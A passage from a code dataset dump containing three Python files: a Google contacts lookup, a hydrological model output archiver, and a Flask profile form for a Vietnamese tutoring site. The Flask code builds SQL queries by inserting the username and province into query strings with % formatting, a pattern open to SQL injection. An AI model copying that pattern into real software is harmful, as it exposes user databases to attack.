token.write(creds.to_json())\n\n service = build('people', 'v1', credentials=creds)\n\n # Aquí se realiza la búsqueda\n results = service.people().connections().list(\n resourceName='people/me',\n personFields='names,emailAddresses').execute()\n connections = results.get('connections', []) #Obtiene la lista de contactos completa\n for person in connections: #recorre toda la lista de contactos\n names = person.get('names', []) #obtiene el nombre de cada contacto (encriptado)\n if names: #Si existe el contacto \n if (names[0].get('displayName') == busqueda): #Obtiene el nombre del contacto en string y lo compara con el nombre que se busca\n return True #Si lo encuentra retorna True\n return False #Si no lo encuentra retorna False\nif (Check(\"Pablo\")):\n print(\"Contacto encontrado\")\nelse:\n print(\"Contacto NO encontrado\")","sub_path":"Getting.py","file_name":"Getting.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"611347413","text":"\"\"\"\nClass Features\n\nName: Drv_Model_HMC_Finalizer\nAuthor(s): Fabio Delogu (fabio.delogu@cimafoundation.org)\nDate: '20151022'\nVersion: '1.6.2'\n\"\"\"\n\n######################################################################################\n# Logging\nimport logging\noLogStream = logging.getLogger('sLogger')\n\n# Library\nimport os, datetime\nimport numpy as np\n\nimport Lib_Data_IO_Utils as Lib_Data_IO_Utils\n\nfrom Drv_Data_Zip import Drv_Data_Zip\nfrom Drv_Data_IO import Drv_Data_IO\nfrom Drv_Model_HMC_IO import Drv_Model_HMC_IO\n\nfrom GetGeoData import GetGeoData\nfrom GetException import GetException\n\n# Debug\nimport matplotlib.pylab as plt\n######################################################################################\n\n#-------------------------------------------------------------------------------------\n# Class\nclass Drv_Model_HMC_Finalizer:\n \n #-------------------------------------------------------------------------------------\n # Method init class\n def __init__(self, sDomainName, sRunName, oDataInfo, oDrvBuilder, sEnsembleName):\n \n # Global variable(s)\n self.sDomainName = sDomainName\n self.sRunName = sRunName\n self.oDataInfo = oDataInfo\n self.oDrvBuilder = oDrvBuilder\n \n self.sEnsembleName = sEnsembleName\n\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Method to collect output\n def collectDataOutput(self):\n \n #-------------------------------------------------------------------------------------\n # Get model and run parameter(s)\n iDtModel = int(self.oDrvBuilder.oDataInfo.oInfoSettings.oParamsInfo['RunDt']['dt_model'])\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Get folder(s) information (STATIC, OUTPUT and STATE)\n sPathStaticP = self.oDrvBuilder.oDataInfo.oInfoVarStatic.oDataInputStatic['Point']['FilePath']\n sPathOutputG = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataOutputDynamic['Gridded']['FilePath']\n sPathOutputP_SecQ = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataOutputDynamic['Point']['FilePath'] \n sPathOutputP_DamV = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataOutputDynamic['Point']['FilePath']\n sPathOutputP_DamL = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataOutputDynamic['Point']['FilePath'] \n sPathStateG = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataStateDynamic['Gridded']['FilePath']\n sPathStateP = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataStateDynamic['Point']['FilePath'] \n \n # Get folder(s) information (ARCHIVE)\n sPathArchiveG = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Gridded']['FilePath']\n sPathArchiveP_SecQ = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Point']['FilePath']['Path_SectionQ']\n sPathArchiveP_DamV = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Point']['FilePath']['Path_DamV']\n sPathArchiveP_DamL = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Point']['FilePath']['Path_DamL']\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Get filename(s) information (STATIC, OUTPUT and STATE)\n sFileStaticP = self.oDrvBuilder.oDataInfo.oInfoVarStatic.oDataInputStatic['Point']['FileName']\n sFileOutputG = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataOutputDynamic['Gridded']['FileName']\n sFileOutputP_SecQ = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataOutputDynamic['Point']['FileName']['File_SectionQ']\n sFileOutputP_DamV = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataOutputDynamic['Point']['FileName']['File_DamV']\n sFileOutputP_DamL = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataOutputDynamic['Point']['FileName']['File_DamL'] \n sFileStateG = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataStateDynamic['Gridded']['FileName']\n sFileStateP = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataStateDynamic['Point']['FileName'] \n \n # Get filename(s) information (ARCHIVE)\n sFileArchiveP_SecQ = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Point']['FileName']['File_SectionQ']\n sFileArchiveP_DamV = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Point']['FileName']['File_DamV']\n sFileArchiveP_DamL = self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Point']['FileName']['File_DamL'] \n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Get variable(s) information\n oFileVarsP = self.oDrvBuilder.oDataInfo.oInfoVarStatic.oDataInputStatic['Point']['FileVars']\n \n iFileTimeResP_SecQ = int(self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Point']['FileTimeRes'])\n iFileTimeResP_DamV = int(self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Point']['FileTimeRes'])\n iFileTimeResP_DamL = int(self.oDrvBuilder.oDataInfo.oInfoVarDynamic.oDataArchiveDynamic['Point']['FileTimeRes'])\n \n # Get concentration time\n iTime_CONC = self.oDrvBuilder.iTc\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Get run and domain names information\n sRunName = self.sRunName\n sDomainName = self.sDomainName\n sEnsembleName = self.sEnsembleName\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Get time information\n oDtModel = datetime.timedelta(seconds = iDtModel)\n \n a1oTime_STEPS = self.oDrvBuilder.oDataTime.a1oTimeSteps\n oTime_NOW = self.oDrvBuilder.oDataTime.oTimeNow; sTime_NOW = oTime_NOW.strftime('%Y%m%d%H%M')\n oTime_FROM = self.oDrvBuilder.oDataTime.oTimeFrom; sTime_FROM = oTime_FROM.strftime('%Y%m%d%H%M')\n oTime_TO = self.oDrvBuilder.oDataTime.oTimeTo; sTime_TO = oTime_TO.strftime('%Y%m%d%H%M')\n \n sYear_NOW = sTime_NOW[0:4]; sMonth_NOW = sTime_NOW[4:6]; sDay_NOW = sTime_NOW[6:8];\n sHH_NOW = sTime_NOW[8:10]; sMM_NOW = sTime_NOW[10:12];\n \n iTime_STEPS = len(a1oTime_STEPS)\n \n # Get time information upd (to include time concentration)\n oTime_DIFF = (datetime.datetime.strptime(sTime_TO, '%Y%m%d%H%M') - \n datetime.datetime.strptime(sTime_FROM, '%Y%m%d%H%M') +\n oDtModel )\n \n #iTime_STEPS = oTime_DIFF.total_seconds()/3600\n #iTime_DELTA = oTime_DIFF/iTime_STEPS\n \n # Update time steps (considering tc steps)\n oTime_FROM_UPD = oTime_FROM\n oTime_TO_UPD = oTime_TO + datetime.timedelta(seconds = iDtModel*iTime_CONC) + oDtModel\n oTime_STEP = oTime_FROM_UPD\n oTime_DELTA = datetime.timedelta(seconds = iDtModel)\n \n a1oTime_STEPS_UPD = []\n while oTime_STEP <= oTime_TO_UPD:\n a1oTime_STEPS_UPD.append(oTime_STEP.strftime('%Y%m%d%H%M'))\n oTime_STEP += oTime_DELTA\n \n iTime_UPD_STEPS = len(a1oTime_STEPS_UPD)\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Define folder name(s) \n sPathArchiveG_OUT = Lib_Data_IO_Utils.defineFolderName(sPathArchiveG,\n {'$yyyy' : sYear_NOW,'$mm' : sMonth_NOW,'$dd' : sDay_NOW, \n '$HH' : sHH_NOW,'$MM' : sMM_NOW, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n sPathArchiveP_SecQ_OUT = Lib_Data_IO_Utils.defineFolderName(sPathArchiveP_SecQ,\n {'$yyyy' : sYear_NOW,'$mm' : sMonth_NOW,'$dd' : sDay_NOW, \n '$HH' : sHH_NOW,'$MM' : sMM_NOW, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n sPathArchiveP_DamV_OUT = Lib_Data_IO_Utils.defineFolderName(sPathArchiveP_DamV,\n {'$yyyy' : sYear_NOW,'$mm' : sMonth_NOW,'$dd' : sDay_NOW, \n '$HH' : sHH_NOW,'$MM' : sMM_NOW, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n sPathArchiveP_DamL_OUT = Lib_Data_IO_Utils.defineFolderName(sPathArchiveP_DamL,\n {'$yyyy' : sYear_NOW,'$mm' : sMonth_NOW,'$dd' : sDay_NOW, \n '$HH' : sHH_NOW,'$MM' : sMM_NOW, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Cycle(s) on time steps\n a2dData_SecQ_OUT = np.array([]); \n a2dData_DamV_OUT = np.array([]); a2dData_DamL_OUT = np.array([]);\n for sTime_STEP in a1oTime_STEPS_UPD:\n \n #-------------------------------------------------------------------------------------\n # Info archive data\n oLogStream.info(' ====> TIME STEP ARCHIVE: ' + sTime_STEP + ' ... ')\n oTime_STEP = datetime.datetime.strptime(sTime_STEP,'%Y%m%d%H%M')\n \n if oTime_STEP > oTime_TO:\n oLogStream.info(' -----> Step greater than Simulation period')\n else:\n oLogStream.info(' -----> Step in Simulation period')\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Time step information\n sYear_STEP = sTime_STEP[0:4]; sMonth_STEP = sTime_STEP[4:6]; sDay_STEP = sTime_STEP[6:8];\n sHH_STEP = sTime_STEP[8:10]; sMM_STEP = sTime_STEP[10:12];\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Define folder name OUTPUT GRIDDED step\n sPathOutputG_STEP = Lib_Data_IO_Utils.defineString(sPathOutputG,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n \n # Define folder name OUTPUT POINT step\n sPathOutputP_SecQ_STEP = Lib_Data_IO_Utils.defineString(sPathOutputP_SecQ,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n sPathOutputP_DamV_STEP = Lib_Data_IO_Utils.defineString(sPathOutputP_DamV,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n sPathOutputP_DamL_STEP = Lib_Data_IO_Utils.defineString(sPathOutputP_DamL,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n \n # Define folder name STATE GRIDDED and POINT step\n sPathStateG_STEP = Lib_Data_IO_Utils.defineString(sPathStateG,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n sPathStateP_STEP = Lib_Data_IO_Utils.defineString(sPathStateP,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n \n # Define file name ARCHIVE GRIDDED and POINT step\n #sPathArchiveG_STEP = Lib_Data_IO_Utils.defineString(sPathArchiveG,\n # {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n # '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n #sPathArchiveP_SecQ_STEP = Lib_Data_IO_Utils.defineFolderName(sPathArchiveP_SecQ,\n # {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n # '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n #sPathArchiveP_DamV_STEP = Lib_Data_IO_Utils.defineFolderName(sPathArchiveP_DamV,\n # {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n # '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n #sPathArchiveP_DamL_STEP = Lib_Data_IO_Utils.defineFolderName(sPathArchiveP_DamL,\n # {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n # '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName, '$TYPE' : sEnsembleName})\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Define file name OUTPUT GRIDDED step\n sFileOutputG_STEP = Lib_Data_IO_Utils.defineString(sFileOutputG,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName})\n \n # Define file name OUTPUT POINT step\n sFileOutputP_SecQ_STEP = Lib_Data_IO_Utils.defineString(sFileOutputP_SecQ,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName})\n sFileOutputP_DamV_STEP = Lib_Data_IO_Utils.defineString(sFileOutputP_DamV,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName})\n sFileOutputP_DamL_STEP = Lib_Data_IO_Utils.defineString(sFileOutputP_DamL,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName})\n \n # Define folder name STATE GRIDDED and POINT step\n sFileStateG_STEP = Lib_Data_IO_Utils.defineString(sFileStateG,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName})\n sFileStateP_STEP = Lib_Data_IO_Utils.defineString(sFileStateP,\n {'$yyyy' : sYear_STEP,'$mm' : sMonth_STEP,'$dd' : sDay_STEP, \n '$HH' : sHH_STEP,'$MM' : sMM_STEP, '$RUN' : sRunName})\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Copy and get SECTION Q file\n oLogStream.info(' -----> Copy SECTION Q POINT file: ' + os.path.join(sPathOutputP_SecQ_STEP, sFileOutputP_SecQ_STEP) + ' ... ')\n \n sFileName_SecQ_STEP = os.path.join(sPathOutputP_SecQ_STEP, sFileOutputP_SecQ_STEP)\n #sFileName_SecQ_OUT = os.path.join(sPathArchiveP_SecQ_OUT, sFileOutputP_SecQ_STEP)\n sPathArchiveP_SecQ_OUT = sPathArchiveP_SecQ_OUT.replace('//','/')\n \n oDrvModel_IO = Drv_Model_HMC_IO(sFileName_SecQ_STEP, self.oDataInfo)\n #a1dData_SecQ_STEP = oDrvModel_IO.getModelData1D()\n oDrvModel_IO.copyModelData(sPathArchiveP_SecQ_OUT)\n \n # Concatenate array 1D array\n #if a2dData_SecQ_OUT.shape[0] == 0:\n # a2dData_SecQ_OUT = a1dData_SecQ_STEP\n #else:\n # a2dData_SecQ_OUT = np.vstack((a2dData_SecQ_OUT, a1dData_SecQ_STEP))\n \n oLogStream.info(' -----> Copy SECTION Q POINT file: ' + os.path.join(sPathOutputP_SecQ_STEP, sFileOutputP_SecQ_STEP) + ' ... OK')\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Copy and get DAM VOLUME file\n oLogStream.info(' -----> Copy DAM VOLUME POINT file: ' + os.path.join(sPathOutputP_DamV_STEP, sFileOutputP_DamV_STEP) + ' ... ')\n \n sFileName_DamV_STEP = os.path.join(sPathOutputP_DamV_STEP, sFileOutputP_DamV_STEP)\n #sFileName_DamV_OUT = os.path.join(sPathArchiveP_DamV_OUT, sFileOutputP_DamV_STEP)\n sPathArchiveP_DamV_OUT = sPathArchiveP_DamV_OUT.replace('//','/')\n \n oDrvModel_IO = Drv_Model_HMC_IO(sFileName_DamV_STEP, self.oDataInfo)\n #a1dData_DamV_STEP = oDrvModel_IO.getModelData1D()\n oDrvModel_IO.copyModelData(sPathArchiveP_DamV_OUT)\n \n # Concatenate array 1D array\n #if a2dData_DamV_OUT.shape[0] == 0:\n # a2dData_DamV_OUT = a1dData_DamV_STEP\n #else:\n # a2dData_DamV_OUT = np.vstack((a2dData_DamV_OUT, a1dData_DamV_STEP))\n \n oLogStream.info(' -----> Copy DAM VOLUME POINT file: ' + os.path.join(sPathOutputP_SecQ_STEP, sFileOutputP_SecQ_STEP) + ' ... OK')\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Copy and get DAM LEVEL file\n oLogStream.info(' -----> Copy DAM LEVEL POINT file: ' + os.path.join(sPathOutputP_DamV_STEP, sFileOutputP_DamV_STEP) + ' ... ')\n \n sFileName_DamL_STEP = os.path.join(sPathOutputP_DamL_STEP, sFileOutputP_DamL_STEP)\n #sFileName_DamL_OUT = os.path.join(sPathArchiveP_DamL_OUT, sFileOutputP_DamL_STEP)\n sPathArchiveP_DamL_OUT = sPathArchiveP_DamL_OUT.replace('//','/')\n \n oDrvModel_IO = Drv_Model_HMC_IO(sFileName_DamL_STEP, self.oDataInfo)\n #a1dData_DamL_STEP = oDrvModel_IO.getModelData1D()\n oDrvModel_IO.copyModelData(sPathArchiveP_DamL_OUT)\n \n # Concatenate array 1D array\n #if a2dData_DamL_OUT.shape[0] == 0:\n # a2dData_DamL_OUT = a1dData_DamL_STEP\n #else:\n # a2dData_DamL_OUT = np.vstack((a2dData_DamL_OUT, a1dData_DamL_STEP))\n \n oLogStream.info(' -----> Copy DAM LEVEL POINT file: ' + os.path.join(sPathOutputP_SecQ_STEP, sFileOutputP_SecQ_STEP) + ' ... OK')\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Copy OUTPUT GRIDDED file\n oLogStream.info(' -----> Copy OUTPUT GRIDDED file: ' + os.path.join(sPathOutputG_STEP, sFileOutputG_STEP) + ' ... ')\n oDrvModel_IO = Drv_Model_HMC_IO(os.path.join(sPathOutputG_STEP, sFileOutputG_STEP), self.oDataInfo)\n oDrvModel_IO.copyModelData(sPathArchiveG_OUT, sFileOutputG_STEP, '.gz')\n oLogStream.info(' -----> Copy OUTPUT GRIDDED file: ' + os.path.join(sPathOutputG_STEP, sFileOutputG_STEP) + ' ... OK')\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Copy STATE GRIDDED file\n oLogStream.info(' -----> Copy STATE GRIDDED file: ' + os.path.join(sPathStateG_STEP, sFileStateG_STEP) + ' ... ')\n oDrvModel_IO = Drv_Model_HMC_IO(os.path.join(sPathStateG_STEP, sFileStateG_STEP), self.oDataInfo)\n oDrvModel_IO.copyModelData(sPathArchiveG_OUT, sFileStateG_STEP, '.gz')\n oLogStream.info(' -----> Copy STATE GRIDDED file: ' + os.path.join(sPathStateG_STEP, sFileStateG_STEP) + ' ... OK')\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Info archive data\n oLogStream.info(' ====> TIME STEP ARCHIVE: ' + sTime_STEP + ' ... OK')\n #-------------------------------------------------------------------------------------\n\n #-------------------------------------------------------------------------------------\n \n #-------------------------------------------------------------------------------------\n # Save information to global workspace\n #self.sPathArchiveG = sPathArchiveG_OUT\n #self.sPathArchiveP_SecQ = sPathArchiveP_SecQ_OUT\n #self.sPathArchiveP_DamV = sPathArchiveP_DamV_OUT\n #self.sPathArchiveP_DamL = sPathArchiveP_DamL_OUT\n #self.a1oTimeArchive = a1oTime_STEPS_UPD\n # Save data to global workspace\n #self.a2dDataArchive_SecQ = a2dData_SecQ_OUT\n #self.a2dDataArchive_DamV = a2dData_DamV_OUT\n #self.a2dDataArchive_DamL = a2dData_DamL_OUT\n #-------------------------------------------------------------------------------------\n \n#-------------------------------------------------------------------------------------\n \n \n \n \n \n ","sub_path":"hydro/hmc_tools_postprocessing/src/Drv_Model_HMC_Finalizer.py","file_name":"Drv_Model_HMC_Finalizer.py","file_ext":"py","file_size_in_byte":22781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"611596363","text":"'''\nThis file contains the routes to the detailed user account info page\n'''\n\nfrom flask import Blueprint, render_template_string, flash, redirect, url_for, request, current_app as app, session, Markup\nfrom flask_mail import Mail, Message\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, PasswordField, SubmitField, BooleanField, SelectField, HiddenField\nfrom wtforms.validators import InputRequired, Length, AnyOf, Email\nfrom wtforms.widgets import TextArea\nfrom wtforms.fields.html5 import TelField, DecimalRangeField, DateField\nfrom werkzeug.utils import secure_filename # Used for uploading user profile images to the server\nfrom flask_wtf.file import FileField\n\nimport mysql.connector\nfrom mysql.connector import errorcode\n\nfrom io import StringIO\nimport re, random, hashlib, uuid, json, datetime, os, requests\n\nclass profile_form(FlaskForm):\n\n cover_image_path = \"\"\n avatar_image_path = \"\"\n full_name = StringField('Họ và tên:*', validators=[InputRequired('Nhập đầy đủ họ và tên.'), Length(max=128)], render_kw={\"placeholder\": \"Cho chúng tôi biết họ và tên đây đủ của bạn. Ví dụ: Nguyễn Văn A\"})\n dob = DateField('Ngày tháng năm sinh:*', format='%Y-%m-%d')\n gender = SelectField('Giới tính:*', choices=[('m', 'Nam'), ('f', 'Nữ')])\n phone_number = TelField('Số điện thoại liên lạc:*', validators=[InputRequired('Vui lòng điền số điện thoại của bạn.')], render_kw={\"placeholder\": \"Đây là số điện thoại mà học sinh sẽ dùng để liên lạc với bạn.\"})\n address = StringField('Địa chỉ nhà:*', validators=[InputRequired('Vui lòng nhập địa chỉ nhà của bạn.'), Length(max=320)], render_kw={\"placeholder\": \"Địa chỉ nơi bạn đang sinh sống.\"})\n email_address = StringField('Địa chỉ email:*', validators=[InputRequired('Vui lòng nhập địa chỉ email của bạn.'), Length(max=320)], render_kw={\"placeholder\": \"Địa chỉ email liên kết với tài khoản này.\"})\n district = SelectField('Quận / Huyện nơi bạn đang sinh sống:*', choices=[])\n province = SelectField('Tỉnh / Thành nơi bạn đang sinh sống:*', choices=[])\n hourly_rate = DecimalRangeField('Học phí một giờ:*', default=50000)\n biography = StringField('Giới thiệu về bản thân, trình độ học vấn, các môn học bạn có thể gia sư (Tối đa: 320 kí tự)*', widget=TextArea())\n\n schedule_title = Markup('Các buổi có thể dạy:')\n schedule_table = None\n available_time = HiddenField()\n\n committment_check_box = BooleanField(\"Tôi cam kết tất cả các thông tin trên là thật và tôi chấp nhận các điều khoản sử dụng của Tutee.\", validators=[InputRequired('Bạn cần phải kí cam kết trước khi cập nhật hồ sơ gia sư.')])\n submit = SubmitField('Cập Nhật Hồ Sơ', id='ok_button')\n\n # Load the province choices\n try:\n\n # Read config file for database connection\n config = json.loads(open('private/hosts/database_host.json', 'r', encoding=\"utf8\").read())\n\n # Open connection to the Tutee database\n connection = mysql.connector.connect(**config)\n\n # Perform MySQL query to retrieve all provinces of Vietnam\n cursor = connection.cursor()\n query = open('private/sql/sql_provinces.sql', 'r', encoding=\"utf8\").read()\n cursor.execute(query)\n province = SelectField('Tỉnh / Thành nơi bạn đang sinh sống:*', choices=[tuple for tuple in cursor])\n\n cursor.close()\n\n except mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n print(\"Access to the database was denied.\")\n print(err)\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n print(\"Database does not exist.\")\n print(err)\n else:\n print(\"Something wrong occurred.\")\n print(err)\n else:\n # Close connection to database\n connection.close()\n\n def load_user_info(self, username, acc_type):\n if acc_type == 'tutee':\n self.phone_number.render_kw = {\"placeholder\": \"Đây là số điện thoại mà bạn sẽ dùng để liên lạc với gia sư của mình.\"}\n self.hourly_rate = None\n self.biography.label = Markup('Giới thiệu về bản thân, trình độ học vấn của bạn để giúp gia sư có thể đưa ra cách dạy phù hợp nhất (Tối đa: 320 kí tự)*')\n self.schedule_title = Markup('Các buổi có thể học:')\n\n # Retrieve data to display on the profile form\n try:\n\n # Read config file for database connection\n config = json.loads(open('private/hosts/database_host.json', 'r', encoding=\"utf8\").read())\n\n # Open connection to the Tutee database\n connection = mysql.connector.connect(**config)\n\n # Perform MySQL query to retrieve the user profile info\n cursor = connection.cursor()\n query = open('private/sql/sql_retrieve_user_profile.sql', 'r', encoding=\"utf8\").read()\n cursor.execute(query % username)\n result = cursor.fetchone()\n\n # Load data\n self.cover_image_path = result[0]\n self.avatar_image_path = result[1]\n\n self.email_address.default = username\n\n if result[2] != None:\n self.full_name.default = result[2]\n\n self.dob.default = result[3]\n self.gender.default = result[4]\n\n if result[5] != None:\n self.phone_number.default = result[5]\n\n if result[6] != None:\n self.address.default = result[6]\n\n self.district.default = result[7]\n self.province.default = result[8]\n\n if result[9] != None:\n self.biography.default = result[9]\n\n if self.hourly_rate != None:\n self.hourly_rate.default = result[11]\n\n # Load data for available time schedule displayed in the profile page\n available_time = result[12].split(',') # The stored data indicating the available time of the tutor\n tmp = [\"\"]\n days = []\n available_time_string = []\n tmp += [\"\"]\n for (key, value) in json.loads(requests.get(request.url_root + \"API/days-in-week\").text).items():\n tmp += [\"\"]\n days.append(key)\n tmp += [\"\"]\n for (key, value) in json.loads(requests.get(request.url_root + \"API/day-periods\").text).items():\n tmp += [\"\"]\n for i in range(0, 7):\n cell_id = None\n if key + '-' + days[i] + '-unavailable' in available_time:\n cell_id = key + '-' + days[i] + '-unavailable'\n else:\n cell_id = key + '-' + days[i] + '-available'\n\n available_time_string.append(cell_id)\n tmp += ['']\n tmp += [\"\"]\n tmp += [\"
    \" + value + \"
    ' + value + '
    \"]\n self.schedule_table = Markup(''.join(tmp))\n self.available_time.default = ','.join(available_time_string)\n\n # Close cursor after finishing loading the needed data\n cursor.close()\n\n # Perform MySQL query to retrieve all of the districts in the province the user lives\n cursor = connection.cursor()\n query = open('private/sql/sql_districts.sql', 'r', encoding=\"utf8\").read()\n cursor.execute(query % result[8])\n self.district.choices = [(value[0],value[1]) for value in cursor]\n cursor.close()\n\n except mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n print(\"Access to the database was denied.\")\n print(err)\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n print(\"Database does not exist.\")\n print(err)\n else:\n print(\"Something wrong occurred.\")\n print(err)\n else:\n # Close connection to database\n connection.close()\n\nmy_profile = Blueprint('my-profile', __name__)\n\n@my_profile.route('/my-profile', methods=['GET'])\ndef my_profile_page():\n\n # Force return to index page if not logged in\n if 'logged_in' not in session or session['logged_in'] == False:\n return redirect(url_for(\"index.main\"))\n\n response_builder = StringIO()\n response_builder.write(\"\")\n\n # Read the head data\n response_builder.write(\"\")\n with open('html_components/shared/head.html', 'r', encoding=\"utf8\") as data_file:\n response_builder.write(data_file.read() % \"Tutee | Hồ Sơ Của Tôi\")\n data_file.close()\n # Additional css files beside the ones that are shared among pages\n response_builder.write('')\n response_builder.write(\"\")\n\n # Start building the body part of the site\n response_builder.write(\"\")\n\n # Build the header of the site\n with open('html_components/shared/header.html', 'r', encoding=\"utf8\") as data_file:\n response_builder.write(data_file.read())\n data_file.close()\n\n # Build main body of the site\n response_builder.write(\"
    \")\n\n # Build the sign in form in the page\n with open('html_components/my_profile/profile-form.html', 'r', encoding=\"utf8\") as data_file:\n response_builder.write(data_file.read())\n data_file.close()\n\n # Build the footer tag of the site\n with open('html_components/shared/footer.html', 'r', encoding=\"utf8\") as data_file:\n response_builder.write(data_file.read())\n data_file.close()\n\n # Build the script tag of the site\n with open('html_components/shared/script.html', 'r', encoding=\"utf8\") as data_file:\n response_builder.write(data_file.read())\n data_file.close()\n response_builder.write(\"\")\n\n # Close main tag of the site\n response_builder.write(\"
